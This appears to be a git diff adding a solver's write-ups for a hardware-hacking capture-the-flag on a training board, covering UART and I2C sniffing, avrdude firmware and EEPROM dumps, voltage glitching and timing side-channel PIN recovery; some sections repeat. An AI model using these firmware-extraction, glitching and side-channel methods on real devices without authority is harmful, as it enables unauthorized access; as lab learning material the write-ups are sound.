+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
